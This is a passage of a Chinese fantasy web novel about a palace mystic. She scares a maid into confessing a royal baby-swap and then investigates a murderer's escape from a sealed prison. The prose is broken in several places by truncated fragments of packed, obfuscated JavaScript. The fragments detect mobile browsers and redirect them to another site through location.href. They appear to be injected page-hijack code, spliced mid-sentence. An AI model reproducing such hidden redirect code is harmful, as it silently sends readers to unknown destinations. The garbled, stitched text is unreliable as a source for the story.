睡了个回笼觉,李令曦被雪芽叫起来用午膳。看着桌子上摆放的三菜一汤,色泽鲜艳,香味扑鼻,她很是意外。 “雪芽,这都你做的吗?” “是啊大人,您快尝尝合不合口味。”雪芽一脸期待地望着李令曦。 李令曦各夹了一筷子,频频点头:“嗯,很好吃。”她拉过一旁的凳子,“你坐下一起吃。” 雪芽连连摆手,有些惶恐:“大人,奴婢怎么能和您同桌吃饭呢……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998350|193563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 李令曦放下筷子正色道:“雪芽,你是我的助手,往后在我面前不用自称奴婢,这些规矩也不必恪守。” 雪芽愣了一会,随即腼腆一笑:“是,那奴…我就和大人一起吃!” 饱餐一顿,李令曦很满足。 雪芽做饭的手艺真是不错,往后可有口福了。 李令曦突然想起路上看见的景象,问道:“对了雪芽,我见宫里最近到处都在摆放鲜花,挂灯笼,可是有什么事?” “好像是太后娘娘的寿辰要到了,到处都在张罗呢。”雪芽说,“到时肯定很热闹,不知会不会邀请大人您去呢。” 太后的寿辰么。 李令曦浅浅勾起嘴角——倒是个好机会。 “是吗,那不管请不请我,我都得去凑凑热闹了。” 宋青阳已死,接生嬷嬷和兰英已出宫。当年参与换皇子一事的人,目前还有四个在宫里——太后杜琼芝、总管葛进、丫鬟碧云、翠岚。 得从这些人中找到突破口,引蛇出洞。 李令曦最终敲定了人选——碧云。 碧云是当年杜琼芝安插在陆妃身边的奸细,她不仅参与了对三只黄皮子的扼杀,还亲自将其死尸与胎儿进行调换。 在这条阴谋链上,碧云是最有可能因恐惧而崩溃的一环。 更重要的是,碧云当时在产房,肯定知道陆妃之子的生辰八字。有了生辰八字,就可以算出真天子目前所在的地方了。 李令曦环视了一圈屋内,问雪芽:“冷宫里那两只猫可带来了?” 雪芽指了指旁边:“带来了,小橘和小黑它俩估计在院子里晒太阳呢。” “我去看看。” 李令曦来到院中,两只猫一左一右,正躺在草地上玩耍。她的目光落在舔爪子的橘猫身上,眼里浮现笑意。 这两只猫被人遗弃,流落冷宫禁地。李令曦喂养了几次之后,就赖上不走了。 李令曦蹲下,摸了摸橘猫那鲜亮柔顺的毛,心底有了一个计划。 “若要惊动恶人心中的恐惧,需要一把钥匙……” 三日后清晨,练功房内。 烟雾缭绕,药香满室。 李令曦端坐桌前,面前摆放这几个玉碟和瓷碗。 她先拿起一个贴有朱砂符箓的白瓷瓶,从中倒出些许淡金色粉末放在碟子里,又从另一个青瓷碗中取出一撮晒干的猫薄荷叶。 “雪芽,你帮我把这叶子碾成粉末。” “是。”雪芽边碾边问,“大人,那个白瓶中的是什么呀?” “这是用百年桃木心,混合朱砂、雄黄,以及几味至阳的药草秘制而成的。” 李令曦接过雪芽碾好的粉末,继续道:“猫薄荷可以使猫更兴奋活跃,更易吸引人注意。” “而这个嘛……”她捻起一点淡金色粉末,口中诵起玄奥的咒语。 不一会儿,淡金色粉末渐渐消失,转而变成一道膜状的东西,覆盖在猫薄荷表面,很快与之融为一体。 “这个可以模拟精怪情绪爆发时散发出的气息,常人不知其中奥秘,却可以激发他们内心的恐惧记忆。” “原来是这样。”雪芽点点头,似懂非懂。 李令曦抱起小橘,将混合好的粉末涂抹到它的颈后皮毛处,小心轻柔地用指腹揉搓。 橘猫舒服地眯起眼睛,喉咙里发出“呼噜呼噜”的声音,浑然不知自己即将要扮演什么样的角色。 “去吧,小橘。” 李令曦轻轻拍了拍橘猫的头:“今日太后寿宴,借你一用,你可要好好表现哦,回来让雪芽给你加餐。” 24.第 24 章 “喵呜~”小橘用头蹭了蹭李令曦的手,顺势躺下。 吉时快到了,李令曦吩咐雪芽找来提篮,自己去换衣服。 三刻钟后,御花园。 李令曦换了一身崭新的紫色法衣,左手象征性地拿着拂尘,右手提着竹编提篮,缓缓走来,颇有仙风道骨的气质。 园中奇花异草遍布,丝竹之声悦耳,曼妙舞姿翩翩。 亭中,太后端坐主位,衣着华贵,头戴凤冠,保养得宜的脸上挂着雍容得体的微笑。 皇帝侍坐一旁,其他皇室权贵、重臣和夫人则分坐两侧,气氛一派和谐融洽。 众人身后,太监宫女林立,垂手屏息,不敢有丝毫差池。 李令曦的目光扫过太后身边的侍从,迅速锁定了目标——一个年约四十的女人。 她的穿着比其他宫女更为精致,面容有些刻薄,眼神中带着一丝疲倦。 她就是碧云,如今早已成为太后的心腹。 时机已到。 李令曦站定,向萧旭和杜琼芝略一施礼,清越的声音响起:“陛下,太后娘娘。适逢太后寿诞,风清气朗,实乃祥瑞之兆。臣前几日于山野之中游历,偶得一灵兽,颇具慧根,能感应天地吉凶之气。借此太后千秋之际,愿献此兽祈福,聊表心意。” 萧旭饶有兴致:“哦?是何灵兽?国师快快呈上。” 太后也微微颔首,嘴角含笑,笑意却未达眼底:“国师有心了。” 李令曦提起篮子:“此物性喜自由,不惯拘束,臣这就让它出来,请太后和陛下观赏。” 她走到亭中的开阔处,轻轻打开盖上的搭扣。就在篮盖轻轻掀起的刹那,李令曦宽大的袖子几不可察地微动了一下,涂抹在橘猫后脖颈处的能量膜被瞬间激活。 “嗷呜~”小橘在篮中待得久了,又受到猫薄荷和李令曦灵力的双重刺激,发出一声略显兴奋的叫声。 它轻盈地一跃而出,稳稳落在地面上,瞪着一双圆溜溜的琥珀色眼睛,好奇地四处张望。 阳光透出花树的缝隙洒在它身上,橘色的毛皮仿佛镀上了一层金边。 在一般人眼中,这就是一只格外漂亮精神的橘猫。然而在李令曦的刻意引导下,那微弱的“伪妖气”,正悄悄地向四周扩散。 亭中众人大多面带微笑,觉得这猫儿有趣可爱。 萧旭也笑道:“好一只漂亮的猫儿,一点也不怕人。” 杜琼芝的目光落在橘猫身上,起初只是带着一丝上位者的玩味和审视。 然而,当那双如琉璃般晶莹剔透的眼睛,不经意地转向她时,太后的瞳孔快速地收缩了一下,脸上的笑容也有一瞬间凝固了。 虽然她很快就恢复了常态,但李令曦敏锐地捕捉到了她的变化。 杜琼芝身旁的碧云,一开始也和其他人一样,好奇地被橘猫吸引了目光。 可很快,一股混合了血腥、土腥,以及精怪临死前极度恐惧怨恨的独特“味道”,悄悄钻入了碧云的鼻腔。 那味道激起了碧云脑海深处的一段记忆。 碧云仿佛被一道闪电劈中,身体猛地一僵!她脸上的血色一下褪得干干净净,惨白如纸,双眼蓦然睁大,死死地盯着橘猫—— 那双澄澈的双眼,在阳光下显得异常……异常诡异! “啊——!” 一声凄厉的尖叫骤然响起,打破了花园中祥和的氛围。 在场所有人的目光都被这充满了恐惧的尖叫声吸引,只见碧云如同见了厉鬼般,身体激烈抖动着,双手紧紧抱住自己的头,眼神里充满了惊骇。 在碧云的意识中,她透过眼前的这只橘猫,看到了二十三年的那些场景。 橘色的温顺的毛发,瞬间扭曲变形,变成了被活活烫皱收缩、血淋淋的、还带着体温的黄鼠狼皮。 充满好奇的眼睛,一刹那间与那只被砍下四肢、血流满地的、充满绝望与痛苦的黄鼠狼的眼睛重合。 那一闪一闪的光芒,好像在发出控诉:“为什么?为什么要杀我?!” 而橘猫那声普通的“喵呜”,传到碧云耳中,却被放大成了小黄鼠狼临死前那声声凄惨的嘶叫。 周围的亭台楼阁、衣着光鲜的人群,全都迅速退去,周围突然变成了未央宫那间产房—— 血腥味弥漫,满室昏暗,烛火摇曳,众人的惊呼尖叫。 还有……自己满手的温热鲜血! “不——不是我,不是我!别过来,别过来啊——” 碧云崩溃大喊,歇斯底里,涕泗横流。周围的宫女试图去搀扶她,她却猛然躲开,不受控制地向后退。 慌乱之中,碧云一头撞在了亭中的柱子上,额头顿时红肿了一块。她蜷缩成一团,口中含糊不清地自言自语:“不是我……是皇后让我做的……那孩子、孩子被换……” 杜琼芝的眼神立时冷了下来,她快速走到碧云身前,一边说一边给葛进使眼色:“来人啊,碧云这是魔障了,赶紧把她拉下去,派人看着,好生静养!” 葛进会意,一招手,几个宫女上前,迅速地将碧云拖了下去。 “不要找我索命,是皇后让我换的……是她啊!” 碧云临走时,还嚷嚷着这么几句话。 整个花园亭中,陷入了一片喧嚷。众人纷纷议论碧云的变化,还有她说的那几句话。 杜琼芝按下心中那抹不安,高扬声音面向众人说道:“大家不必惊慌,这宫女定是得了失心疯,才会突然在哀家的寿宴上作此举动。哀家已命人将其带下,容后再查。众卿各回各位,不要因这奴才坏了兴致。” 众人的议论声稍微小了些,但并未消散。 “刚才她说的,什么孩子被换,是何意?” “对啊,好像还提到了‘皇后’,那不就是指……” “难道这事跟当年——” “快噤声,先皇有令,不得妄议!” 杜琼芝将众人的神态尽收眼底,她那妆容精致的脸有些绷不住了。她看向一旁的萧旭,萧旭也尚未完全从方才的变故中恢复过来。 见母亲看着自己,萧旭勉强定了定心神,突然想到李令曦在场,忍不住脱口而出:“母后莫怕,国师不是在这么。方才着实惊险,不如请国师算一算,究竟是怎么回事?” 杜琼芝的眼神一下变得如寒冰般,半是惊慌,半是讶异。 她没想到率先拆台的,竟然是自己的儿子。 李令曦摸了摸跑回自己身边的小橘,听见萧旭的话,不由得笑了,萧旭这个好大儿,对杜琼芝还真是孝顺啊。 想也知道,杜琼芝肯定不会同意。 且眼下时机未成熟,自己也不会提前暴露的。 杜琼芝沉着脸道:“行了陛下,哀家好好的寿宴被打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001218|193563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扰,心中已是不快,你还要给哀家添堵吗?好不容易都聚在一起庆贺,就不要再生事端,搅了众人的雅兴了。不必多说,宴席继续!” “母后,朕……”萧旭有些委屈,自己不是为了母后好吗,怎么就成添堵了。但杜琼芝的脸色和眼神说明了一切,萧旭不敢再提,怏怏地坐下了。 杜琼芝的目光又落到那只橘猫身上,心中一阵厌恶,她下巴微抬,冲李令曦说道:“不过就是一只橘猫而已,哀家看它也无甚特别之处,国师还是把它带走吧!” 李令曦微微躬身:“臣遵旨。” 她从容不迫地抱起受惊的橘猫,放回篮中,转身离开的刹那,她扫了一眼杜琼芝那张虽强装镇定,却难掩惊慌的脸。 鱼儿,咬钩了。 ———— 当日夜晚。 一身夜行衣的李令曦,悄悄来到毓秀宫内。她已算出杜琼芝为防止泄密,会把碧云关押起来。 以杜琼芝的狠辣,极有可能不顾旧情将碧云灭口。 她得趁早拿下碧云这个关键的人证。 柴房外,有两个看守的婆子。一股淡淡的烟飘过,两人很快昏睡了过去。 李令曦取下婆子腰间钥匙,将门打开。 黑暗中,碧云睁着惊恐的双眼不敢入睡,听见门口的动静,她的身子下意识抖了一下:“谁?是谁?” 见一个黑影闪进来,碧云连连后退,张大了嘴巴。 李令曦赶紧捂上她的嘴:“嘘——不想死就跟我走。” 碧云脑海中闪过那些被杜琼芝灭口的人,眼中恐惧溢出。 她点点头。 两刻钟后,灵犀阁内。 李令曦解下外衣,碧云一下子惊叫出声:“你、你不是国师吗?你为什么要救我,还把我带到这儿?” 李令曦让她坐下,喝了口茶,缓缓道:“自然是有我的用意。当年那场换子的阴谋,我已算知全部真相。我找你来,就是为了让你答应我两件事。” 碧云有些忐忑,脸色惨白:“我、我不知道你在说……” “行了,在我面前别撒谎。”李令曦盯着她的眼睛,语气加重,“在本座面前,没有秘密。” 碧云低下头,沉默半晌,小声道:“国师要我做什么?” “第一,本座要你作证人,到揭露全部真相时,你必须如实交待当年的事。” “第二,陆妃生产时,你就在旁边,本座需要你提供那个孩子的生辰八字。” “这……”碧云有些犹豫,一旦承认自己所做之事,那不是犯了欺君之罪,岂能有好下场? “我知道你在犹豫什么。”李令曦突然话锋一转,“你可知前几日魏少卿请本座去府上,是为了什么?” “啊?”碧云有些莫名其妙。 “因为魏夫人被精怪附体,他请我去驱除。那是什么精怪,你知道吗?” “什么?” “黄鼠狼精。” “啊!”碧云脸色一下变了。 李令曦继续道:“那只黄鼠狼精是位母亲,她有三个孩子,被人残忍害死,她附体就是为了报仇。” “不、不是我……” 碧云猛然起身,白日宴会中的那种恐惧感再度袭来。 李令曦也站起来,看着碧云惶恐惊惧的脸:“若是你想被那精怪找上,就别怪本座没给你机会了。” 25.第 25 章 “我、我愿意,国师,我愿意作证!” 碧云跪在地上,抬头祈求李令曦。那种冤魂缠身、噩梦不断的恐惧,她再也不想体会了! “那就好。”李令曦拿出纸笔,“写吧。” 碧云哆哆嗦嗦地拿起笔,写下了陆妃之子的生辰八字。 李令曦拿起纸:“如此甚好,接下来一段日子,你就待在本座这里。只要你不作死,本座保证没有人能伤害你。” 她又靠近碧云,补充了一句:“但若是你敢反悔,本座可管不了那黄鼠狼精。” “是、是,国师请放心……”碧云缩着肩膀,低头回道。 李令曦唤来雪芽,让她将碧云安顿好。 随后,她拿着那张写有生辰八字的纸,闭着眼认真地算起来。 二十三年前,那个被扔到河里的婴儿被一个宫女救下。 睡在木盆里的他就像有神仙庇佑一般,平安地漂出了金水河,一路漂到皇城外的护城河。 在那里,一对早起摆摊的夫妇发现了他。因家中刚好有一个半岁多的孩子,夫妻俩心生怜悯,就把他带回家一起喂养。 养到快三岁时,那户人家因家中拮据,不得已把孩子转卖给了一对行商多年却无子的夫妻。那对夫妻姓肖,将孩子取名为肖匀,带回家乡,一直尽心尽力地抚养着。 肖匀聪明乖巧,刚进学堂没多久,就展现出了过人的才智。 肖氏夫妇本就待他不错,这下更是喜出望外,决定好好地培养他,希望将来肖匀能够金榜题名,光耀门楣。 好景不长,十岁那年,变故突生——宋青阳用换命邪术将肖匀的命强行转移到了萧旭身上。 自那以后,肖匀的身体和精神状况就急速直下,邪气入体,阳气溃散,精神恍惚,厄运不断。可以说是危在旦夕,命不保矣。 就在这关键时刻,肖匀原本陷入低谷的运势忽然有了好转的迹象…… “奇怪……” 李令曦睁开眼,眉头微皱。她只能算出肖匀十岁之前的踪迹,之后的便怎么也算不出了。 那个时候,好像有一股强大的力量,将肖匀的命运给挽救了。而与此同时,那股力量也把他的命格运势进行了隐藏。 她推测,应该是一位法力高强的大师,机缘巧合之下救了肖匀。而后,为避免别有用心之人继续伤害他,才将其命格运势进行了隐藏。 李令曦能够算到的最后信息,就是那年的肖匀身处扬州,如今还活着。 看来,得去一趟扬州…… 李令曦准备先找到金水河边的那名宫女,然后出宫去找到那对小贩夫妇,以及杜琼芝借腹生子的那女子的丈夫,最后再去扬州。 这样一来,所有证据链上的人证就都齐全了。 除了铁证如山,最好还需有武力作为保障,以免杜琼芝和萧旭抵死顽抗,引起血雨腥风。 毕竟,这真假皇帝之事极其重大,很有可能引起一场席卷宫廷的大震荡。 夜已深,李令曦熄了灯上床歇息,打算明日去凤仪宫一趟。 …… 翌日,凤仪宫。 殿外传来通报:“皇后娘娘,国师求见。” 沈青宛从榻上坐起:“快传!” 李令曦一身青衣,走了进来。 沈青宛起身迎接,笑着道:“曦妹妹……哦不,应该称呼你为国师才对,今日来可是有什么事?” 李令曦点头:“正是,请皇后屏退左右,我们进去说。” 二人分别坐下,李令曦抿了口茶,说道:“皇后娘娘出身高贵,家世显赫,秀外慧中,入主中宫,任一国之后,实乃天命所归。” 沈青宛眨了眨眼,有些不明所以:“国师来……就是为了说这个嘛。” 李令曦浅浅一笑:“皇后觉得我说的可对?” 沈青宛点头:“国师神通广大,能探知世间万物,本宫的情况您自然知晓,可是……” “可是我为什么突然跟你说这个对吧?”李令曦抬眼,话锋一转,“萧旭才是害死你腹中孩儿的幕后推手,皇后可还记得?” “本宫当然不会忘记!每日夜里做梦都想为我那孩儿复仇,可他毕竟是皇帝,本宫也只能……”沈青宛无奈叹了口气,“本宫始终想不明白,虎毒尚且不食子,他为何要这样做?!” 李令曦说道:“皇后娘娘,如今时机已到,我想该把真相告诉你了。” “真相?什么真相?” “萧旭之所以害死你的孩子,是因为他不愿从你的肚子里诞下未来的太子。” “这是为何?” “皇后,您的父亲为怀远大将军,祖父为沈国公,也就是当初立下汗马功劳的镇国大将军,祖母袁氏出自汝南著名世家。您的外祖父出身京兆韦氏,官居当朝太师,权倾朝野。还有您的舅公陆氏,乃掌握实权的扬州大都督。除此之外,您家族中在朝或在地方为官的亲戚,也不在少数。” 沈青宛颔首:“是这样没错。” 李令曦继续道:“就是因为这样,萧旭心中一直对您的家族感到忌惮,他十分害怕将来太子诞下之后,其母族势力过于强大,会引发外戚专权之祸。所以他宠爱的那些妃嫔,大多是家世不显,权势微弱之人。” 沈青宛皱着眉:“他竟是如此想的……这未免有些杞人忧天了吧。” 李令曦缓缓道:“还有一层原因,当年颇受圣宠,身为皇后候选人的陆妃就是您舅公的女儿,也就是您的表姑。” “您的舅公与祖父关系甚好,外祖父又是陆妃的姑父,所以都支持陆妃。他们的派系大臣也紧跟其后,实际上已形成了压倒杜妃一派的绝对优势。” “陆妃怀孕,若诞下皇子,就极有可能成为太子。而韦太师和沈国公的支持又会成为其政治道路的助力。可谁也没想到,出了那件事。之后杜妃让萧旭鸠占了鹊巢,萧旭有这样的想法,也不意外。” 沈青宛忍不住打断:“可是自那之后,陆妃腹中之物已被处死,她也被打入冷宫,郁郁而终。萧旭即位,已成定论,我们家族虽曾经是拥护陆妃一党,可太子早已不存在,自然也就随之转变。国既有君,身为臣子自当忠肝赤胆相待,又怎么会有他萧旭揣度的那般逆贼之心!?” “更何况,本宫都已经进宫当了他萧旭的皇后,与他举案齐眉。可他竟包藏祸心,妄加揣度,真真是以小人之心度君子之腹。他根本就不配当皇帝!” 沈青宛气愤地指控着,声音逐渐加大。 “皇后说得对。”李令曦附和道,“萧旭根本就不该成为皇帝,是有人硬将他推到这个位子上的。九五之尊之位,他一个假货坐了三年,也是时候退下了。” 沈青宛先是一愣,接着倒抽了一口凉气:“假货?国师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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说完李令曦便离开了,留下沈青宛愣在原地。 “天意昭昭,不可违……国师这话,究竟是何用意……” 李令曦快走到门口,突然一个太监匆匆进来,两人差点撞上。 “奴才失礼,望国师见谅!”太监连连鞠躬道歉。 “无碍,何事这么着急?” “是刑部侍郎沈大人,说有急事要找皇后娘娘,让奴才赶紧通报。” 沈侍郎,不就是沈青宛的三叔吗。 李令曦脑海中迅速闪过一道信息,不过与她无关,她也并未在意。 待走出大殿,李令曦就见外面站着一个身穿官服的中年男子——正是刑部侍郎沈钧。 见了李令曦,沈钧原本着急的神色先是一愣,随即转为惊喜。他向李令曦走来,拱手行礼:“国师,没想到你在这里,真是太好了!下官有十万火急之事,请国师相助!” 沈钧伸手做出‘请’的姿态,语气恳切:“请国师随我一同进去说话可好?” 李令曦点点头。 三人坐定之后,沈钧看向沈青宛:“皇后娘娘,臣想着您与国师相熟,本欲请娘娘帮我知会,不成想如此巧合,国师竟也在这里,这可真是天意啊!” “三叔行色匆匆,可是遇到了什么急事?” “正是。” 沈钧神色严肃,道出原委:“三天前,关押在天牢的一名重犯不见了。” “什么犯人,让三叔这么着急?” “何刃。” “何刃?”沈青宛端着茶杯的手顿了一下,眉头也皱了起来。 这个名为何刃的人,或许称其外号更为人熟知。 26.第 26 章 他就是京城无人不知的杀人魔头——“罗刹屠夫”。 四个月前,京畿一代接连发生了五起惨案,死者都是富商,五人都是被一刀毙命,全身血液都流尽了,死状极为可怖。 更为诡异的是,死者的手中都嵌入了一枚形制独特的铜钱。 事发之后,京中百姓人心惶惶,都说是厉鬼索命。 直到一月前,刑部与大理寺联手抓捕,才在城外的一处农家小院抓住了何刃。 当时他穿着一身麻布短打,看上去就是个平平无奇的三十多岁农家汉子,一点也不会让人联想到他是个杀人不眨眼的魔头。 在一番搜查之下,官府找到了有力的证据,将其抓捕归案。 何刃进了天牢,死死熬刑,一个多月后才招认罪行——说他看不惯那些有钱的人,所以专杀为富不仁之徒,那铜钱是付给死者的“买命钱”。 案子结了,只待秋后问斩,京中百姓才松了口气。 李令曦淡淡问道:“你说何刃不见了,是怎么不见的?” 沈钧脸色有些苍白,眼下的乌青衬得人很是憔悴:“三天前的夜间,在天牢最深处最坚固的牢房里不见的。第二天一早狱卒例行巡视,就发现人没了!” 他猛地一拍桌子:“那可是连只苍蝇都飞不出去的天牢啊!天字一号牢房,墙体是掺了生铁浇铸的,门上是百年玄铁铸的锁,钥匙只有我和牢头一人一把。三班狱卒轮岗,每岗四人,连眼都不敢眨一下。” “可他们说,从晚上到早上卯时,连只耗子都没见过,更别说人了!” “牢里有没有线索?” “没有……”沈钧的声音透着绝望,“我带领刑部,还有大理寺的人,上上下下查了个遍,一切都完好无损,没有任何痕迹,那何刃就像……像是凭空蒸发了!” 李令曦垂首,若有所思。 “沈大人,近日何刃在牢中,可有异常之处?”她开口问道。 “异常……”沈钧皱着眉,回想了片刻:“倒是没什么大动静,他总喜欢盯着墙上的小天窗看,一看就是一整天。” 李令曦又问道:“案发现场的铜钱,可有什么特别之处?” “那铜钱颜色较深,看起来很旧,有点像…像是从坟里挖出来的,上面还沾有黑灰。” 沈钧说到这儿,打了个寒战:“将尸体送去检验时,仵作还说铜钱有股腥味儿,像是血干了的味道。” “原来如此。”李令曦略一颔首,“沈大人,你可知那何刃为何会专挑富人下手,又为何要留下铜钱?” 沈钧回道:“他当时说是自小家贫,看不惯富人,铜钱是在野外无意中捡到的……” “并非如此。”李令曦摇头,打断他,“铜钱上的黑灰,不是烧纸的灰,是‘引魂灰’。那腥气也不是普通的血,乃‘活祭血’。” “何刃根本就不是谋财,他是在养煞。” “养煞?”沈钧的脸又白了几分,“是……什么意思?” “一种邪术。” 李令曦淡淡解释道:“富人之血为‘禄血’,财气通神,亦可养邪。所以富人的精血和魂魄最易滋生邪物根基,用以养煞,再用特制铜钱为媒介,将煞气聚在体内,待煞气养足之后,便可刀枪不入,甚至脱胎换骨。” “何刃之所以迟迟不招供,恐怕就是为了拖延时间,等煞气养成。” 沈钧只觉一股寒意从脚底升起。 他为官多年,审过的案子不在少数,可从未遇见这等诡异之事。 “那、那他现在跑了,岂不是……” 李令曦神色严肃地看着沈钧:“若让此人将最后的煞气完全养成,别说是天牢,就算是皇宫禁苑,他也能来去自如。” “到时,死的就不止是富人了。” 沈钧额上冷汗直冒,声音发颤:“这、这可如何是好……” 他站起身来,弯腰拱手祈求李令曦:“国师,下官知晓您有通天彻地之能,求您救救京中百姓!只要您能抓住何刃,下官愿为您驱使!” 李令曦并未直接回答,而是沉默了一会儿。 她正准备动身去扬州,若是管这桩案子,恐怕得耽误不少时间。 沈钧没有听到李令曦答应,膝盖一屈,竟是要跪下。 李令曦伸手拦住他,叹了口气:“也罢,先带我去天牢看看吧。”沈钧直起身子,激动地道:“国师您答应了!” 她点点头:“不过,这桩案子牵扯到邪术,恐非常人能应付。查案过程中,我说什么,你们照做便是,不可有半分质疑。” 沈钧连忙应道:“下官明白,绝对听从国师安排!” “走吧。” 沈青宛将二人送到门口,嘱咐道:“国师和三叔,你们千万要小心。” …… 三刻钟后,李令曦坐着沈钧的马车,来到了天牢外。 此处与别处甚是不同,刚一靠近就能感受到一股阴森之气。外墙很高,墙体是青灰色,门口守卫手持利刃,全神贯注地警戒着。 看到沈钧从马车上下来,守卫连忙行礼:“大人!” 沈钧点头示意,又走到车厢边,恭敬地请李令曦下车。 “国师,到了。” 李令曦一出现,守卫们都很惊讶,他们还从未在天牢见过这样的人物—— 一身青衣,气质清冷,手里连个腰牌都没有。 “大人,这是……”一个守卫忍不住看向沈钧。 沈钧沉声道:“这是当朝大国师李大人,本官请来查案的,还不行礼!” 守卫们连忙准备跪下。 李令曦淡淡道:“不必拘礼。沈大人,我们还是速去牢房吧。” “是。” 大门打开,一行人走进天牢。 一股潮湿的霉味夹杂着血腥味扑面而来。 通道两侧的牢房里,一些关押着的犯人冲到栏杆前,发出粗野的呼喊声。 沈钧皱着眉呵斥了几句,生怕这些人惹李令曦不高兴。 李令曦脚步轻快,径直向目标牢房走去,对周围的一切充耳不闻。 通道尽头,是一间比别处大一些的牢房,门口站着四个狱卒。 看见沈钧,他们纷纷垂下了头,神色惶恐不安。 沈钧指着牢房:“就是这儿了,何刃之前被关押在这里。” 李令曦走上前,并未进去,而是闭上了双眼。 周围的人都不由得屏住了呼吸,不明白她在做什么。 过了一会儿,李令曦睁开眼,进去看了看天窗,又看了看墙角,最后伸出手指虚空画了一个圈,缓缓开口。 “水行遁迹,阴时破局。” “大人,这是何意?”沈钧连忙问。 “他不是被人劫走的,是自己逃走的。”李令曦指着牢房墙角处的一块地砖,“你们看,这处地砖的颜色比别处要深一些。” 狱卒们凑上前去,其中一个方脸狱卒猛一拍大腿:“还真是!之前清扫的时候还以为是太潮湿,或者是墙角渗的雨水呢!” “这下面,有东西。”李令曦一语惊人。 沈钧立刻吩咐道:“快撬开!” 狱卒们找来撬棍,很快撬开了。 地砖下面,不是泥土,而是一块木板。 掀 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沈钧立刻转身对身后的行捕下令:“张捕头,立刻带上人手,去西郊的义庄!” “是!”张捕头领命,转身就要出发。 “等等。” 李令曦叫住他:“何刃身边,恐怕有邪修相助。你们去了之后,若遇到黑雾或能动的尸体,不要硬拼,回来报信。” 张捕头愣了愣,又看了看一脸严肃的沈钧,点了点头:“属下记住了!” 看着他们离去,沈钧才觉得心中的重石轻了些,向李令曦拱手:“多谢大人!何刃能伏法,您就是京城百姓的大恩人!” 李令曦却没有那么乐观,她眉头微蹙:“沈大人,这件事恐怕没有那么简单。何刃一个囚犯,怎么会知道百年前的暗渠?又怎么会有缩骨符这种邪术之物?” “您的意思是……”沈钧脸色微变。 “看来这何刃的背后应该是有人指使。”李令曦转身向外走,“希望派出去的人一切顺利。” 走出天牢,外面天光明亮,厚厚的云层掩盖不了透出的银色光芒。 “沈大人。”李令曦抬起手遮了遮眼,“派人去查一下,近半年来,京城有没有出现过一些异常的道士或僧人,尤其是那些懂得旁门左道的。” “下官这就去办!” …… 张捕头带着一队精锐捕快,快马加鞭往西郊而去。 此时刚过申时,天气晴朗,可走到西郊树林中时,就起了一阵淡青色的薄雾。 四周的空气中弥漫着一股湿冷的寒气,让众人心中有些紧张。 “都注意着点!”张捕头勒住马,高声喝道,“李大人说了,这里头可能有邪物,都把手里的家伙握紧了,打起精神来!” 捕快们纷纷拔出腰间佩刀,聚精会神地注意着周围的情况。 没多久,来到了乱葬岗。 一片低矮荒凉的土丘连绵起伏,枯黄的杂草在风中瑟瑟发抖,几只漆黑的乌鸦蹲在枯树上。 被到来的马蹄声惊扰,乌鸦振翅飞向天空,发出“呱呱”的沙哑叫声。 几片黑羽飘落,平添了一丝诡异的气氛。 空气中有一股难闻的气味——泥土腥味、草木腐烂的臭味,以及属于死亡的冰冷血腥气息。 乱葬岗边缘,一座破败的建筑孤零零地矗立着,建筑周围长着几颗粗壮的大树,投下的阴影将其掩盖,更显阴森。 墙皮已斑驳脱落,门楣上倾斜的牌匾隐约可见两个大字——“义庄”。